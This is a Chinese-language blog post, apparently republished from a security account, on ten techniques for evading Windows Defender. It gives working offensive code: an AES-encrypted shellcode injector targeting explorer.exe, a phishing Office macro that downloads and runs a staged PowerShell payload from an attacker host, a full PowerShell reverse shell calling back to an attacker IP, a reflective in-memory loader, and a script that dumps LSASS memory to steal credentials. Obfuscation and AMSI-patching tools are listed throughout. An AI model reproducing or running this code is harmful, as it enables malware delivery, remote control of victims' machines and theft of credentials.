绕过Windows Defender的十种方法
2023-4-16 11:36:1 Author: 关注安全技术(查看原文) 阅读量:36 收藏

对当前进程进行Memory Patching时AMSI将允许执行任何无文件恶意软件,包括工具(Mimikatz、Rubeus 等)或反向shell。

对于这个概念验证,这里使用evil-winrm Bypass-4MSI内置函数。

这里使用混淆器https://github.com/h4wkst3r/InvisibilityCloak

首先验证Defender是否会阻止默认构建的Certify

可以看到被拦截了

使用InvisibilityCloak混淆Certify代码

尝试运行混淆后的Certify

可以看到它现在可以正常工作

对于C、C++、Rust等语言,可以利用编译时混淆来隐藏一些行为

根据语言的不同,可能存在不同的方法。由于我的恶意软件开发首选 C++,因此我将解释我尝试过的两种方法:LLVM混淆和模板元编程。

对于LLVM混淆,目前最大的工具是Obfuscator-LLVM。该项目是LLVM的一个分支,它通过混淆生成的二进制文件来增加一层安全性。当前实现的新增功能如下:

·  指令替换。混淆汇编指令以在更大的计算复杂性下产生等效行为。

·  伪造的控制流。添加垃圾指令块以隐藏原始指令代码流。

·  控制流扁平化。使分支和跳转更难预测,以隐藏有意的指令流。

总之,该工具生成的二进制文件通常更难被AV/EDR 静态分析。

模板元编程是一种C++技术,允许开发人员创建在编译时生成源代码的模板。允许在每次编译时生成不同的二进制文件,创建无限数量的分支和代码块等。

用于此目的的两个公共框架如下:

https://github.com/andrivet/ADVobfuscator

https://github.com/fritzone/obfy

这里使用第二个,进行测试。

此外,使用TheD1rkMtr 的 AMSI_patch作为默认二进制文件混淆,它是一个非常简单的 C++ 项目。https://github.com/TheD1rkMtr/AMSI_patch

默认函数树

混淆后的函数树

混淆后难以静态分析,因为有许多嵌套函数

混淆后的垃圾函数

这些都是简单的垃圾函数,但对于隐藏真实行为非常有用。

再次测试。

一旦你已经生成了二进制文件,可以选择以下几种方式:

·  混淆二进制文件的汇编指令。

·  打包二进制文件。

·  加密二进制文件的内容以在运行时对其进行解密。

·  或者,将其转换为 shellcode 以供以后操作和注入。

从第一个开始,我们有几个可用的开源选项,例如:

https://github.com/weak1337/Alcatraz

https://github.com/a0rtega/metame

https://github.com/ropfuscator/ropfuscator(目前仅适用于 Linux)

Alcatraz通过多种方式修改二进制程序集来工作,例如混淆控制流、添加垃圾指令、取消优化指令以及在运行时之前隐藏真正的入口点。

Metame的工作原理是使用随机性在每次运行时生成不同的程序集

ROPfuscator的工作原理是利用面向返回的编程从原始代码构建ROP小工具和链,从而将原始代码流隐藏在静态分析中,甚至可能是动态的,因为启发式方法更难分析连续的恶意调用. 下图更好地描述了整个过程。

打包器的基本架构如下图。

在这个过程中,给定的打包工具将一个本地编译的PE嵌入到另一个可执行文件中,该文件包含解压原始内容并执行它所需的信息。

此外,PE加密器通过加密可执行文件的内容并生成一个在运行时将解密原始PE的可执行文件来工作。这对于反病毒软件非常有用,因为它们大多数依赖于静态分析而不是运行时行为(如EDR)。因此,完全隐藏可执行文件的内容直到运行时可能非常有效,除非反病毒软件已经针对加密/解密方法生成了签名。https://github.com/icyguider/nimcrypt

最后,我们还可以将本地PE转换回Shellcode。例如,可以使用hasherezade的pe_to_shellcode工具进行转换。

https://github.com/hasherezade/pe_to_shellcode

现在已经解释了从可执行文件开始规避反病毒软件的所有可能方法,我想提到将所有步骤合并到一个工具中的框架:KlezVirus的inceptor。这个工具可能会变得非常复杂,对于简单的Defender规避并不需要大部分步骤,但可以通过以下图示更好地解释:

架构

https://github.com/klezVirus/inceptor

与以往的工具不同,Inceptor允许开发者创建自定义模板,以便在工作流程的每个步骤中修改二进制文件,即使为公共模板生成了签名,您也可以拥有自己的私有模板来绕过EDR hooks,修补AMSI / ETW,使用硬件断点,使用直接系统调用来代替内存中的DLL等。

Shellcode 注入是一种非常著名的技术,它包括在给定的进程中插入/注入无关的Shellcode,以最终在内存中执行它。这可以通过多种方式实现。请参阅下图,

对于本文,我将讨论和演示以下方法:

使用Process.GetProcessByName定位资源管理器进程并获取PID。

通过具有0x001F0FFF访问权限的OpenProcess打开进程。

通过VirtualAllocEx在explorer进程中为我们的shellcode分配内存。

通过WriteProcessMemory在进程中写入shellcode 。

最后,创建一个线程,通过CreateRemoteThread执行我们的地址无关代码 (position-independent shellcode)。

当然,拥有包含恶意shellcode的可执行文件很容易被 Defender标记。为了解决这个问题,我们将首先使用AES-128 CBC和PKCS7填充对shellcode进行加密,以隐藏其真实行为和组成,直到运行时。

首先,我们需要生成初始shellcode。使用msfvenom的简单TCP反向shell。

使用以下 C# 代码,可以随意以其他方式(例如,cyberchef)对其进行加密。

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace AesEnc
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] aesshell = EncryptShell(buf, Key, IV);
StringBuilder hex = new StringBuilder(aesshell.Length * 2);
int totalCount = aesshell.Length;
foreach (byte b in aesshell)
{
if ((b + 1) == totalCount)
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}
}
Console.WriteLine(hex);

}

private static byte[] GetIV(int num)
{
var randomBytes = new byte[num];
using (var rngCsp = new RNGCryptoServiceProvider())
{
rngCsp.GetBytes(randomBytes);
}

return randomBytes;
}

private static byte[] GetKey(int size)
{
char[] caRandomChars = "[email protected]#$%^&*()".ToCharArray();
byte[] CKey = new byte[size];
using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
{
crypto.GetBytes(CKey);
}
return CKey;
}

private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return AESEncryptedShellCode(CShellcode, encryptor);
}
}
}

private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)
{
using (var msEncShellCode = new MemoryStream())
using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(CShellcode, 0, CShellcode.Length);
cryptoStream.FlushFinalBlock();
return msEncShellCode.ToArray();
}
}
}
}

注入器的代码如下

using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace AESInject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();

static void Main(string[] args)
{
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here
byte[] DShell = AESDecrypt(buf, Key, IV);
StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);
foreach (byte b in DShell)
{
hexCodes.AppendFormat("0x{0:x2},", b);
}
int size = DShell.Length;
Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

}

private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return GetDecrypt(CEncryptedShell, decryptor);
}
}
}
private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}

}

执行

获取到shell

https://github.com/TheWover/donut是非常有效的地址无关代码 (position-independent shellcode)生成器。

执行

生成 shellcode 后,我们现在可以为此目的使用我们喜欢的任何注入器。donut最新版本已经带有一个本地和一个远程注入器

Mimikatz、Rubeus、Certify、PowerView、BloodHound 等工具在单个包中实现了很多功能,但是也很容易被识别,那么我们可以尝试将功能分离出来。比如提取mimikatz的转出lsass的功能

https://github.com/Cracked5pider/LsaParser

第二个示例,假设我们的目标是枚举整个 Active Directory 域中的共享。为此,我们可以使用 PowerView 的 Find-DomainShare模块,但是,它是最著名的开源工具之一,很容易被识别并删除,因此,为了更加隐蔽,我们可以基于本机Windows API开发自己的共享查找器工具,如下所示。

#include <windows.h>
#include <stdio.h>
#include <lm.h>

#pragma comment(lib, "Netapi32.lib")

int wmain(DWORD argc, WCHAR* lpszArgv[])
{

PSHARE_INFO_502 BufPtr, p;
PSHARE_INFO_1 BufPtr2, p2;
NET_API_STATUS res;
LPTSTR lpszServer = NULL;
DWORD er = 0, tr = 0, resume = 0, i,denied=0;
switch (argc)
{
case 1:
wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>\n");
return 1;

default:
break;
}
wprintf(L"\n Share\tPath\tDescription\tCurrent Users\tHost\n\n");
wprintf(L"-------------------------------------------------------------------------------------\n\n");
for (DWORD iter = 1; iter <= argc-1; iter++) {
lpszServer = lpszArgv[iter];
do
{
res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p = BufPtr;
for (i = 1; i <= er; i++)
{
wprintf(L" % s\t % s\t % s\t % u\t % s\t\n", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer);
p++;
}
NetApiBufferFree(BufPtr);
}
else if (res == ERROR_ACCESS_DENIED) {
denied = 1;
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n",lpszServer, res);
}
}
while (res == ERROR_MORE_DATA);
if (denied == 1) {
do
{
res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p2 = BufPtr2;
for (i = 1; i <= er; i++)
{
wprintf(L" % s\t % s\t % s\t\n", p2->shi1_netname, p2->shi1_remark, lpszServer);
p2++;
}

NetApiBufferFree(BufPtr2);
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n", lpszServer, res);
}

}
while (res == ERROR_MORE_DATA);
denied = 0;
}

wprintf(L"-------------------------------------------------------------------------------------\n\n");
}
return 0;

}

自定义工具可能是一项非常耗时的任务,并且需要非常深入的了解 Windows 内部知识,但它有可能是最有效的方法。因此,如果其他方法都失败了,应该考虑到这一点。因为可以控制并自定义API调用、断点、顺序、垃圾数据/指令、混淆等。

将有效载荷分成渐进阶段不是新技术,攻击者通常使用它来逃避初始静态分析的恶意软件。这是因为真正的恶意负载将在稍后阶段被检索和执行,静态分析可能没有机会发挥作用。

对于此PoC,这里展示一种非常简单但有效的方法来暂存反向 shell 负载,例如,可用于使用以下宏创建恶意 Office 文件:

执行第一阶段的宏

Sub AutoOpen()
Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")
End Sub

这不会被 AV 静态检测到,因为它只是在执行一个看似良性的命令。

由于我没有安装Office,这里通过在PowerShell脚本中手动执行上述命令来模拟网络钓鱼过程。

本节的概念证明如下:

stage0.txt(这将是在网络钓鱼宏中执行的命令)

IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")

stage1.txt

IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")

stage2.txt

function Invoke-PowerShellTcp 
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(

[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,

[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,

[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,

[Parameter(ParameterSetName="bind")]
[Switch]
$Bind

)

try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}

#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x

#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}

Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80

ref.txt 是一个简单的通过进程修补来执行PowerShell AMSI 绕过,在这种情况下,PowerShell脚本的扩展名无关紧要,因为它们的内容将作为文本简单地下载并使用Invoke-Expression(IEX 的别名)调用。

然后我们可以执行完整的 PoC,如下所示:

受害者从我们的 C2 下载

获取反向 shell

您可能还记得在第一部分中,我们在修补内存中的AMSI后执行了Mimikatz,以展示Defender停止扫描我们进程的内存。这是因为.NET公开了System.Reflection.Assembly API,我们可以使用它在内存中反射加载和执行.NET程序集

这对于攻击目的非常有用,因为在PowerShell中可以使用 .NET,我们可以在脚本中使用它在内存中加载整个二进制文件,以绕过Windows Defender的静态分析。

反射加载模板

function Invoke-YourTool
{
$a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))
$decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
$output = New-Object System.IO.MemoryStream
$decompressed.CopyTo( $output )
[byte[]] $byteOutArray = $output.ToArray()
$RAS = [System.Reflection.Assembly]::Load($byteOutArray)

$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)

[ClassName.Program]::main([string[]]$args)

[Console]::SetOut($OldConsoleOut)
$Results = $StringWriter.ToString()
$Results

}

Gzip仅用于尝试隐藏真正的二进制文件,因此有时它可能无需进一步的绕过方法即可工作,但最重要的一行是从 System.Reflection.Assembly .NET 类调用 Load 函数以将二进制文件加载到内存中. 之后,我们可以简单地用“[ClassName.Program]::main([string[]]$args)”调用它的主函数

这个仓库不仅包含每个著名工具的大量预构建脚本,还包含从二进制文件创建您自己的脚本的说明:

https://github.com/S3cur3Th1sSh1t/PowerSharpPack

反射加载 Mimikatz

P/Invoke,即平台调用,允许我们访问未管理的本地Windows DLL中的结构、回调和函数,以便访问本机组件中可能无法直接从.NET中获得的较低级别API。

我们可以利用fortra的nanodump工具

https://github.com/fortra/nanodump

但是它容易被识别,这时可以利用P/Invoke编写一个PowerShell脚本来执行相同的操作,

我们可以修补 AMSI 以使其在这样做时变得不可检测。

编写以下代码

Add-Type @"
using System;
using System.Runtime.InteropServices;

public class MiniDump {
[DllImport("Dbghelp.dll", SetLastError=true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@

$PROCESS_QUERY_INFORMATION = 0x0400
$PROCESS_VM_READ = 0x0010
$MiniDumpWithFullMemory = 0x00000002

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@

$processId ="788"

$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)

if ($processHandle -ne [IntPtr]::Zero) {
$dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")
$fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()

$result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)

if ($result) {
Write-Host "Sucess"
} else {
Write-Host "Failed" -ForegroundColor Red
}

$dumpFile.Close()
[Kernel32]::CloseHandle($processHandle)
} else {
Write-Host "Failed to open process handle." -ForegroundColor Red
}

在此示例中,我们首先通过Add-Type从Dbghelp.dll导入MiniDumpWriteDump函数,然后从 kernel32.dll 导入 OpenProcess 和 CloseHandle。然后最终得到 LSASS 进程的句柄并使用 MiniDumpWriteDump 执行进程的完整内存转储并将其写入文件

完整的 PoC 如下:

使用 impacket-smbclient 下载

使用 pypykatz 在本地解析 MiniDump 文件


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4MDMwMjQ3Mg==&mid=2651868509&idx=1&sn=1d3bce173713dfe99344f75ba619ef5c&chksm=8442b5bab3353cacf7d64bb87a84fdc9dbccadb649ab0551ac70537a5403203cd480c238cf81#rd
如有侵权请联系:admin#unsafe.sh